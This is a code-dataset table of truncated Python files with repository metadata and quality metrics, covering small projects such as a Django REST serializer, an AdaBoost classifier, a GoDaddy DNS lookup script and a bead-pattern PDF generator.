hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c8963aa9c2fd19d072617ac3bc9699a61aa29633 | 449 | py | Python | Day_3_Boolean_Logic_Conditionals/Day3_ex1_RL.py | lenovreg/Python_TietoEvry_Feb2022 | 1e37f524c1b78bb9752500261a953b812fc697db | [
"MIT"
] | null | null | null | Day_3_Boolean_Logic_Conditionals/Day3_ex1_RL.py | lenovreg/Python_TietoEvry_Feb2022 | 1e37f524c1b78bb9752500261a953b812fc697db | [
"MIT"
] | null | null | null | Day_3_Boolean_Logic_Conditionals/Day3_ex1_RL.py | lenovreg/Python_TietoEvry_Feb2022 | 1e37f524c1b78bb9752500261a953b812fc697db | [
"MIT"
] | null | null | null | # #1. Health check
# # Ask user for their temperature.
# # If the user enters below 35, then output "not too cold"
# # If 35 to 37 (inclusive), output "all right"
# # If the temperature over 37, then output "possible fever"
#
user_temp = float(input('What is your temperature?'))
if user_temp < 35:
print('not too ... | 32.071429 | 62 | 0.679287 | 70 | 449 | 4.3 | 0.514286 | 0.106312 | 0.066445 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047354 | 0.200445 | 449 | 13 | 63 | 34.538462 | 0.791086 | 0.512249 | 0 | 0 | 0 | 0 | 0.296117 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
c8a2956bd7fb979e05d6c1af9814b3f364a7b696 | 2,403 | py | Python | printing/Spooler.py | mrlinqu/intsa_term_client | 596335da6dbdf7eb543b1dcf2c33bcc222aa3321 | [
"MIT"
] | null | null | null | printing/Spooler.py | mrlinqu/intsa_term_client | 596335da6dbdf7eb543b1dcf2c33bcc222aa3321 | [
"MIT"
] | 1 | 2020-11-07T12:44:56.000Z | 2020-11-07T12:46:52.000Z | printing/Spooler.py | mrlinqu/intsa_term_client | 596335da6dbdf7eb543b1dcf2c33bcc222aa3321 | [
"MIT"
] | null | null | null | # Copyright 2020 by Roman Khuramshin <mr.linqu@gmail.com>.
# All rights reserved.
# This file is part of the Intsa Term Client - X2Go terminal client for Windows,
# and is released under the "MIT License Agreement". Please see the LICENSE
# file that should have been included as part of this package.
import logging
i... | 28.607143 | 168 | 0.61881 | 303 | 2,403 | 4.729373 | 0.379538 | 0.055827 | 0.066992 | 0.052338 | 0.1612 | 0.1612 | 0.1612 | 0.1612 | 0.1612 | 0.1612 | 0 | 0.00762 | 0.290054 | 2,403 | 84 | 169 | 28.607143 | 0.832356 | 0.124844 | 0 | 0.178571 | 0 | 0 | 0.042918 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.089286 | false | 0.107143 | 0.107143 | 0 | 0.267857 | 0.107143 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c8a3493cfeb4dfbb80acc4a2be0aae2d1cb8c74f | 1,264 | py | Python | mytests/test_SimpleCalc.py | KishoreParihar/DemoPythonTest | f9dadbf6cfcd4e6877e31ca65851882f73234307 | [
"MIT"
] | null | null | null | mytests/test_SimpleCalc.py | KishoreParihar/DemoPythonTest | f9dadbf6cfcd4e6877e31ca65851882f73234307 | [
"MIT"
] | null | null | null | mytests/test_SimpleCalc.py | KishoreParihar/DemoPythonTest | f9dadbf6cfcd4e6877e31ca65851882f73234307 | [
"MIT"
] | null | null | null | import unittest
import sys
sys.path.append(".")
sys.path.insert(0, '..\\')
from calculator.simplecalculator import Calculator
class TestSimpleCalc(unittest.TestCase):
@classmethod
def setUpClass(cls):
print ("In setupclass() method")
cls.cal = Calculator(4, 3)
@classmethod
def tearDow... | 23.849057 | 58 | 0.606013 | 159 | 1,264 | 4.72956 | 0.377358 | 0.121011 | 0.042553 | 0.037234 | 0.101064 | 0.055851 | 0.055851 | 0.055851 | 0 | 0 | 0 | 0.021413 | 0.261076 | 1,264 | 52 | 59 | 24.307692 | 0.783726 | 0 | 0 | 0.15 | 0 | 0 | 0.076741 | 0 | 0 | 0 | 0 | 0 | 0.175 | 1 | 0.225 | false | 0 | 0.075 | 0 | 0.325 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8a59080304794abe4b7a5451fd69be502c0aee2 | 1,392 | py | Python | restapi/v1/serializers.py | asntech/jaspar | ae86731e8f197d6830e6d778835f218d4eb1b9e8 | [
"BSD-3-Clause"
] | 3 | 2017-11-20T23:03:20.000Z | 2020-02-15T19:32:23.000Z | restapi/v1/serializers.py | asntech/jaspar | ae86731e8f197d6830e6d778835f218d4eb1b9e8 | [
"BSD-3-Clause"
] | 3 | 2019-12-12T09:26:55.000Z | 2021-06-10T19:24:19.000Z | restapi/v1/serializers.py | asntech/jaspar | ae86731e8f197d6830e6d778835f218d4eb1b9e8 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
## Author: Aziz Khan
## License: GPL v3
## Copyright © 2017 Aziz Khan <azez.khan__AT__gmail.com>
from rest_framework import serializers
from portal.models import Matrix, MatrixAnnotation
from django.http import HttpRequest
class MatrixAnnotationSerializer(serializers.HyperlinkedModelSerializ... | 29 | 90 | 0.733477 | 165 | 1,392 | 5.993939 | 0.454545 | 0.024267 | 0.0273 | 0.0364 | 0.21638 | 0.21638 | 0.149646 | 0.149646 | 0.149646 | 0.149646 | 0 | 0.005733 | 0.122845 | 1,392 | 47 | 91 | 29.617021 | 0.80344 | 0.208333 | 0 | 0.181818 | 0 | 0 | 0.106422 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.136364 | false | 0 | 0.136364 | 0.045455 | 0.727273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c8a98f7aadc1b3bec71524384698aed558c36091 | 3,805 | py | Python | generator/api/routes.py | horvathandris/phenoflow | d0109f3702bc180954051170a56e017af52636fb | [
"MIT"
] | null | null | null | generator/api/routes.py | horvathandris/phenoflow | d0109f3702bc180954051170a56e017af52636fb | [
"MIT"
] | null | null | null | generator/api/routes.py | horvathandris/phenoflow | d0109f3702bc180954051170a56e017af52636fb | [
"MIT"
] | null | null | null | from starlette.applications import Starlette
from starlette.responses import JSONResponse
from api import workflow
import oyaml as yaml
app = Starlette(debug=True)
def generateWorkflow(steps, nested=False):
generatedWorkflow = workflow.initWorkflow();
generatedWorkflowInputs = {};
generatedSteps = [];
if (n... | 57.651515 | 252 | 0.70276 | 390 | 3,805 | 6.830769 | 0.325641 | 0.028904 | 0.031532 | 0.031532 | 0.251126 | 0.186562 | 0.161036 | 0.161036 | 0.161036 | 0.161036 | 0 | 0.003927 | 0.130092 | 3,805 | 65 | 253 | 58.538462 | 0.800906 | 0.105125 | 0 | 0.066667 | 1 | 0 | 0.192704 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022222 | false | 0 | 0.088889 | 0 | 0.177778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8b602b1d86d1edc850b44d842ce6f3bb89f273d | 642 | py | Python | pip/setup.py | siphr/urdu-digit | 133fcea917ce4584c2f98b470f9e3063f9f03c99 | [
"MIT"
] | null | null | null | pip/setup.py | siphr/urdu-digit | 133fcea917ce4584c2f98b470f9e3063f9f03c99 | [
"MIT"
] | null | null | null | pip/setup.py | siphr/urdu-digit | 133fcea917ce4584c2f98b470f9e3063f9f03c99 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
from setuptools import setup, find_packages
setup(
name="urdu_digit",
version="0.0.17",
keywords=["urdu", "numeric", "digit", "converter"],
description="English to Urdu numeric digit converter.",
long_description=open('README.md').read(),
project_urls={
'Homepag... | 25.68 | 74 | 0.641745 | 77 | 642 | 5.25974 | 0.649351 | 0.111111 | 0.079012 | 0.123457 | 0.138272 | 0.138272 | 0 | 0 | 0 | 0 | 0 | 0.018868 | 0.174455 | 642 | 24 | 75 | 26.75 | 0.745283 | 0.031153 | 0 | 0 | 0 | 0 | 0.439614 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.055556 | 0 | 0.055556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8c21cc5ec4a4f6297ac9cc8b0615e326672a6bb | 414 | py | Python | App/migrations/0011_playlist_preferences.py | dlanghorne0428/StudioMusicPlayer | 54dabab896b96d90b68d6435edfd52fe6a866bc2 | [
"MIT"
] | null | null | null | App/migrations/0011_playlist_preferences.py | dlanghorne0428/StudioMusicPlayer | 54dabab896b96d90b68d6435edfd52fe6a866bc2 | [
"MIT"
] | 44 | 2022-01-21T01:33:59.000Z | 2022-03-26T23:35:25.000Z | App/migrations/0011_playlist_preferences.py | dlanghorne0428/StudioMusicPlayer | 54dabab896b96d90b68d6435edfd52fe6a866bc2 | [
"MIT"
] | null | null | null | # Generated by Django 4.0 on 2022-03-06 02:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('App', '0010_remove_user_percentage_preferences_user_preferences'),
]
operations = [
migrations.AddField(
model_name='playlist',
... | 21.789474 | 76 | 0.628019 | 43 | 414 | 5.883721 | 0.790698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059406 | 0.268116 | 414 | 18 | 77 | 23 | 0.775578 | 0.103865 | 0 | 0 | 1 | 0 | 0.211382 | 0.151762 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8cc6707f00bfb68eb5be0a694507e862c881eb3 | 1,123 | py | Python | autodc/components/hpo_optimizer/hpo_optimizer_builder.py | dingdian110/AutoDC | f5ccca6bea993bcff3e804fb859e8b25ae020b5c | [
"MIT"
] | null | null | null | autodc/components/hpo_optimizer/hpo_optimizer_builder.py | dingdian110/AutoDC | f5ccca6bea993bcff3e804fb859e8b25ae020b5c | [
"MIT"
] | null | null | null | autodc/components/hpo_optimizer/hpo_optimizer_builder.py | dingdian110/AutoDC | f5ccca6bea993bcff3e804fb859e8b25ae020b5c | [
"MIT"
] | null | null | null | from autodc.components.hpo_optimizer.smac_optimizer import SMACOptimizer
from autodc.components.hpo_optimizer.mfse_optimizer import MfseOptimizer
from autodc.components.hpo_optimizer.bohb_optimizer import BohbOptimizer
from autodc.components.hpo_optimizer.tpe_optimizer import TPEOptimizer
def build_hpo_optimizer(eval... | 46.791667 | 86 | 0.688335 | 133 | 1,123 | 5.413534 | 0.360902 | 0.083333 | 0.111111 | 0.127778 | 0.256944 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011891 | 0.251113 | 1,123 | 23 | 87 | 48.826087 | 0.844233 | 0.025824 | 0 | 0 | 0 | 0 | 0.029304 | 0 | 0 | 0 | 0 | 0.043478 | 0 | 1 | 0.05 | false | 0 | 0.2 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8d9edb95baf53d14122148e741bd4d9e71e6992 | 6,968 | py | Python | adaboost.py | xxxzhi/AdaBoostClassifier | e5161cad03bdeb1c353b1c06dc32752a34c160d3 | [
"Apache-2.0"
] | 1 | 2019-03-15T03:10:08.000Z | 2019-03-15T03:10:08.000Z | adaboost.py | xxxzhi/AdaBoostClassifier | e5161cad03bdeb1c353b1c06dc32752a34c160d3 | [
"Apache-2.0"
] | null | null | null | adaboost.py | xxxzhi/AdaBoostClassifier | e5161cad03bdeb1c353b1c06dc32752a34c160d3 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
import dbm
from sklearn.datasets import load_iris
from classifer.base import BaseClassifier
from classifer.decision_tree import DecisionTreeClassifier
import numpy as np
class AbsAdaBoostClassifier(BaseClassifier):
def __init__(self, num_rounds):
super(AbsAdaB... | 28.325203 | 104 | 0.550373 | 849 | 6,968 | 4.369847 | 0.248528 | 0.021563 | 0.014016 | 0.01186 | 0.121024 | 0.095687 | 0.02345 | 0.021024 | 0.021024 | 0.021024 | 0 | 0.01733 | 0.329219 | 6,968 | 245 | 105 | 28.440816 | 0.776423 | 0.050947 | 0 | 0.088608 | 0 | 0 | 0.036976 | 0.008835 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.006329 | 0.037975 | null | null | 0.107595 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8e095e4b5a713605e60ac5cfbe8f9beb652c2f1 | 390 | py | Python | search.py | kanttouchthis/clip-search | 463c3f2849a6f5ae7ebc6bfe7a932ec82f2ab0c1 | [
"MIT"
] | 1 | 2021-10-12T12:15:00.000Z | 2021-10-12T12:15:00.000Z | search.py | kanttouchthis/clip-search | 463c3f2849a6f5ae7ebc6bfe7a932ec82f2ab0c1 | [
"MIT"
] | null | null | null | search.py | kanttouchthis/clip-search | 463c3f2849a6f5ae7ebc6bfe7a932ec82f2ab0c1 | [
"MIT"
] | 1 | 2021-11-20T14:51:11.000Z | 2021-11-20T14:51:11.000Z | from searcher import CLIPSearcher
from utils import get_args
if __name__ == "__main__":
args = get_args()
cs = CLIPSearcher(device=args.device, store_path=args.store_path)
cs.load_dir(args.dir, save_every=args.save_every, recursive=args.recursive, load_new=(not args.dont_load_new))
cs.search(texts=args... | 43.333333 | 114 | 0.769231 | 59 | 390 | 4.779661 | 0.457627 | 0.049645 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 390 | 8 | 115 | 48.75 | 0.817391 | 0 | 0 | 0 | 0 | 0 | 0.020513 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8e6c52bd4d19fdf314e6096b12ca3b0f03e5a63 | 3,214 | py | Python | godaddy_dns.py | JohnMcSpedon/GoDaddy_DNS_migrator | e7439616f64a446254e4df05db115aaa0206691e | [
"MIT"
] | 4 | 2021-03-01T18:28:34.000Z | 2021-03-11T12:20:16.000Z | godaddy_dns.py | JohnMcSpedon/GoDaddy_DNS_migrator | e7439616f64a446254e4df05db115aaa0206691e | [
"MIT"
] | null | null | null | godaddy_dns.py | JohnMcSpedon/GoDaddy_DNS_migrator | e7439616f64a446254e4df05db115aaa0206691e | [
"MIT"
] | null | null | null | """
Retrieve GoDaddy DNS settings via their developer API
See also:
https://developer.godaddy.com/doc/endpoint/domains#/
"""
import os
import time
from pprint import pprint
from typing import List
import requests
import credential_loaders
BASE_URL = "https://api.godaddy.com"
# You can easily replace these with... | 32.795918 | 120 | 0.671749 | 413 | 3,214 | 5.033898 | 0.411622 | 0.02886 | 0.03848 | 0.051948 | 0.162578 | 0.124098 | 0.056758 | 0 | 0 | 0 | 0 | 0.032705 | 0.19135 | 3,214 | 97 | 121 | 33.134021 | 0.767218 | 0.46453 | 0 | 0 | 0 | 0.027027 | 0.141805 | 0.012891 | 0 | 0 | 0 | 0.010309 | 0 | 1 | 0.135135 | false | 0 | 0.162162 | 0 | 0.405405 | 0.162162 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8f400891a861906013fd78e255d4aff2e9b28fa | 5,840 | py | Python | extractexamples.py | afcarl/contra | a82d14342b242cba7a8298d54aa0dabd9d77269d | [
"0BSD"
] | 1 | 2019-04-22T16:56:07.000Z | 2019-04-22T16:56:07.000Z | extractexamples.py | afcarl/contra | a82d14342b242cba7a8298d54aa0dabd9d77269d | [
"0BSD"
] | null | null | null | extractexamples.py | afcarl/contra | a82d14342b242cba7a8298d54aa0dabd9d77269d | [
"0BSD"
] | null | null | null | #!/usr/bin/env python
# Extracts examples of given strings with context in a TAB-separated
# field format from given text documents.
from __future__ import with_statement
import sys
import re
from os import path
options = None
def argparser():
import argparse
ap=argparse.ArgumentParser(description="Extract... | 37.677419 | 175 | 0.55976 | 738 | 5,840 | 4.369919 | 0.249322 | 0.032248 | 0.056434 | 0.022326 | 0.27876 | 0.231628 | 0.135194 | 0.135194 | 0.114729 | 0.092403 | 0 | 0.005747 | 0.314726 | 5,840 | 154 | 176 | 37.922078 | 0.8001 | 0.064384 | 0 | 0.311475 | 0 | 0.016393 | 0.210671 | 0.004584 | 0.008197 | 0 | 0 | 0 | 0.02459 | 0 | null | null | 0 | 0.040984 | null | null | 0.114754 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8f8cdcd902d01952d5a7b8a680f7b6b5e1cd1d5 | 3,154 | py | Python | ImageAnalysis/ImageAnalysis/python/references/bead-designer-test/beads.py | mikebourbeauart/PerlerPrinter | 8c5023de6bb9b3cbe2bc28c1c823030dfd708db4 | [
"MIT"
] | null | null | null | ImageAnalysis/ImageAnalysis/python/references/bead-designer-test/beads.py | mikebourbeauart/PerlerPrinter | 8c5023de6bb9b3cbe2bc28c1c823030dfd708db4 | [
"MIT"
] | 2 | 2021-09-07T23:43:53.000Z | 2022-01-13T00:39:55.000Z | ImageAnalysis/ImageAnalysis/python/references/bead-designer-test/beads.py | mikebourbeauart/PerlerPrinter | 8c5023de6bb9b3cbe2bc28c1c823030dfd708db4 | [
"MIT"
] | 1 | 2019-10-21T17:12:07.000Z | 2019-10-21T17:12:07.000Z | import Image
from ImageColor import getrgb
from reportlab.pdfgen import canvas
from reportlab.lib.units import mm
from reportlab.lib.pagesizes import A4
import uuid
BEAD_RADIUS = 1.75*mm
BEAD_THICKNESS = 1*mm
BOARD_SPACING = 4.85*mm
BOARD_BORDER = 4*mm
#A4 60x43 = 2580
#A3 86x60 = 5160
#A2 86x120 = 10,320
#MARQUEE A4... | 28.414414 | 84 | 0.616677 | 503 | 3,154 | 3.71173 | 0.304175 | 0.038565 | 0.008034 | 0.020889 | 0.11248 | 0.071773 | 0.071773 | 0.071773 | 0.057311 | 0.057311 | 0 | 0.044454 | 0.25111 | 3,154 | 110 | 85 | 28.672727 | 0.745978 | 0.117628 | 0 | 0 | 0 | 0 | 0.029579 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.077922 | null | null | 0.012987 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c8ff0f334dbba342f0a95112a0a41bb1cc0f4aaf | 3,937 | py | Python | src/genie/libs/parser/nxos/tests/ShowIpOspf/cli/equal/golden_output_2_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 204 | 2018-06-27T00:55:27.000Z | 2022-03-06T21:12:18.000Z | src/genie/libs/parser/nxos/tests/ShowIpOspf/cli/equal/golden_output_2_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 468 | 2018-06-19T00:33:18.000Z | 2022-03-31T23:23:35.000Z | src/genie/libs/parser/nxos/tests/ShowIpOspf/cli/equal/golden_output_2_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 309 | 2019-01-16T20:21:07.000Z | 2022-03-30T12:56:41.000Z |
expected_output = {
'vrf':
{'default':
{'address_family':
{'ipv4':
{'instance':
{'1':
{'areas':
{'0.0.0.0':
{'area_id': '0.0.0.0',
... | 49.2125 | 73 | 0.216916 | 180 | 3,937 | 4.511111 | 0.516667 | 0.017241 | 0.014778 | 0.009852 | 0.135468 | 0.068966 | 0.068966 | 0.068966 | 0.068966 | 0 | 0 | 0.068796 | 0.689865 | 3,937 | 79 | 74 | 49.835443 | 0.596233 | 0 | 0 | 0.194805 | 0 | 0 | 0.191105 | 0.02338 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.012987 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
74043e623f8ec052206750dba77f648adab74816 | 1,660 | py | Python | comedy-org.py | qedpi/file-organizer | 07bdc6fd8e752aae03078529dfefe4838f4f4c4e | [
"MIT"
] | 2 | 2020-11-23T16:32:11.000Z | 2021-05-14T00:35:16.000Z | comedy-org.py | qedpi/file-organizer | 07bdc6fd8e752aae03078529dfefe4838f4f4c4e | [
"MIT"
] | null | null | null | comedy-org.py | qedpi/file-organizer | 07bdc6fd8e752aae03078529dfefe4838f4f4c4e | [
"MIT"
] | null | null | null | import os
from shutil import move, rmtree
from itertools import chain
from genres import genre_of, DOWNLOAD_DIR, DST_DIRS, VIDEO_EXTENSIONS
print(genre_of)
print(f'moving files from {DOWNLOAD_DIR}: \n'
# f'with keywords: {COMEDY_TAGS} \n'
# f'with extensions: {VIDEO_EXTENSIONS} \n'
)
